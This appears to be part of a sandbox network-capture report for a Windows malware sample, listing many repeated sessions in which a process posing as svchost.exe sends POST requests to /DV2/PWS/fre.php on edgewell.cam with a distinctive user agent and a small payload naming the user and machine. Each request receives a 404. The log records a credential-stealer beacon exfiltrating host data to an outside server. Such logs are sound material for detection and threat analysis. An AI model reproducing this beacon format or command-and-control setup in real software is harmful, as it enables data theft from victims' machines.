May 27, 2024 02:57:09.077306032 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Q2uyj%2FHx2eRvI%2BdL1zlJ4b2Uvr8OGbNnQGipKroJN8WFL9REAiCbIF3KEAQGwC6KxQgqdIdD0CutdHcwSko1HPWw9zuuOgtOPXlrjny66VXwKy4vemwqU2vezqqAkk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c962d554399-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49724	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:09.229387045 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:09.285092115 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:09.939446926 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zA1BmVfALu4iQHx%2FCY3CNiRxxrHNN4M4spVvsB3EvDZrEF51VbE8gWydOYpyKTOSDQ2jBqc4OU5lGSQ01cpvvzVrUvzcsxQOs0q93hv5F97RWQogOiAwxO9ejWuJ3SY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20c9b581b43be-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49726	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:10.108177900 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:10.207612991 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:10.817708969 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pi7%2B69bBBof3R4MAUeAIIDoNScBGbfzn1tsVbVBUd0xYVx%2FgFPUOdKhuuWp8l729WI0uHSNYBcZYAlcxYLiw2OdFIq8qNjXjXNMf8yHb8Sm5zNvjwsZlroapLwd%2Bcxc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ca10c211791-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49728	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:10.970618963 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:10.978754044 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:11.630388021 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uVDN%2Bq9m%2BUG98WyWEZL6YSspctxSRTxYaFg0hQRuZg5gBBnCL0jXlDlfdoAB9%2BsMVNCeCCw8U5UjtWaej2W64iHr8NY2vVJH6X%2BVQlyNsssGMhpjOck%2Bsb28Eueg05s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ca619647cb2-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49730	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:11.985959053 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:12.036964893 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:12.650402069 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=61S8pEMzqC2yMUuOO%2B2NkLpyrVJy8D9HBjcoOE2kKjishBHXLDac%2FEWuoY1wU%2FCAbIVoNIRGYB1%2BVGOjg0c7EmyOcwbrGBCY5G8d89xMc6okmxanA87kI1g%2BVTfcRdU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cac8cc50ca5-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49731	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:12.795525074 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:12.848125935 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:13.470117092 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=85O2WsxHIE02rvcsetm9taBBQrmrFcvcEyV9Miu%2FpXv47I9u9VRUCER7FMDEBZpdhiLZR4NqM%2BnmlSB4FUkZUXlc7SERL4WtaEuYf3FQ1w4vRJjTG7wDCbdy7m2iVkc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cb1a8128c09-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49732	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:13.622626066 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:13.672837019 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:14.366130114 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JmY9ML3jotG%2BEBVckE%2FU8YpztTm%2F7SCD7Ii%2Fj7FphI0SyEG469BbxGyb803fqTtWkGwMwIlqFU7uPS0M1aymHHMd1bARn%2FEkQCECUd6t5GJ0Fq7DDqY%2BXJLKfHp6oBI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cb73d8019c7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49733	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:14.514492989 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:14.565294981 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:15.185714006 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1QuDX3BaCO0dULrH2CuUsanbj5MdXeXohaiYbRmLWxSNX7NohkEM6lgN2n%2FZcyh4GsltqiEYevb%2B40edjxiuQ%2BjJBi5D0h1b2x22bqPr70yOUnAmyX4qotd9xbEOADw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cbc4d16727a-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49734	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:15.342998028 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:15.393141031 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:16.152654886 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3aWxR9c0QU1qu%2BbHBtnj8D0x3m85gHxe797MtEOvgaArvKzeawzmP5mSmN1IqDzdQ2krd6fIoHimm1e8gtSmCvTqZULazUenSqenRxVmpC6%2FKm64uNRKMnufQM0L5Ig%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cc1ec7e0f74-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49735	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:16.316241980 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:16.354906082 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:17.016735077 CEST	607	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yvH7BQWE1700O3Of6S%2FkneMP2EdhV%2Bw9Kem1YOqni2wRbxfxUEtzbbGS6YsQ%2FUjmNEIO1J%2Bxxzvih72La%2Bz%2F59N6cTG9Av61zeVNCuqUNURa%2B87fj%2FN5V%2BzhgjdVvqE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cc7af0e558f-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49736	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:17.171322107 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:17.221159935 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:17.836726904 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jhOYqrwlixiWD4Cbz9de22RTlLy9VmUSO%2FegPDsXiJqDWPS4BJk%2BWSf%2Be9CbfB9Hb0%2B9AZAT9zcZmown4YHls%2BiUWvPrJtSM2DvQoFAT8vqCCE6Tp8MTVnm%2FIZFtLSM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cccdaaa0dc7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49737	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:17.983496904 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:18.032838106 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:18.678615093 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yqsfxpbss6I9ka4k41vAXfKXuq%2BAG1HhLWueViz4jP0vG3iYLxQhCAGX8a9KtX%2F7DYKABTYDKSwWlA8i0N94X%2BGukyqzFkrmdHcuyue27fNYQlFM7dhMb5UT7Bfl%2FI8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cd22f535e7f-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49738	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:18.824359894 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:18.872872114 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:19.488892078 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n28hSGUTm23HYpWJ3soEe7IqDlqXqEzZCwHPR0PmgdS1ztAQQsdqrnH0NWMZDvrcvOAyKJFEu2VOPbgyTUw8tcZav%2FgizZwRwkDOMPHjzdr3F0F97Mt%2F3lTijWvxl5I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cd74aa8425c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49739	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:19.638608932 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:19.692770958 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:20.317183971 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DXW8bsGtpd56fF4LfhKpq%2FO5%2BCQTOSGEbLbTMjCfSwQvYxp6gAVlHHUBl%2By69qwWcYAyVbvTCLpJPSnLIJ9VpMklSgr5fOTyskfyvScJXeZ6PiG2Tx4Iko%2BJmqE7Vnw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cdc6ec441bd-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49740	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:20.475126982 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:20.525090933 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:21.181163073 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H2vzHdlhPX4Ggs3PNd5Jl%2FsBD3Z4ls41FlEipUSQFtp%2BWiq7JjOLOQ%2BzDZkYQGEpdFgMwBRb7E6%2BiWDHF%2BWeU17dCsZN0BABuYPo4Qyjn4CQh8Rv9IsJ0A0zAADJSCo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ce1af518c47-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49741	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:21.327353001 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:21.381038904 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:22.008224010 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B8tfRzhz1gs7cSlMmfaSc58h5KegI9PdW41ZHr08IrCXLN1dOuPJuna632LofwhvuVmgZOfQnrC6Jel4j8VIjrBsjg6czqsocSjETpmKBCszLEp1lJ3mWGlB9m0f%2BC8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ce6ee627cea-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

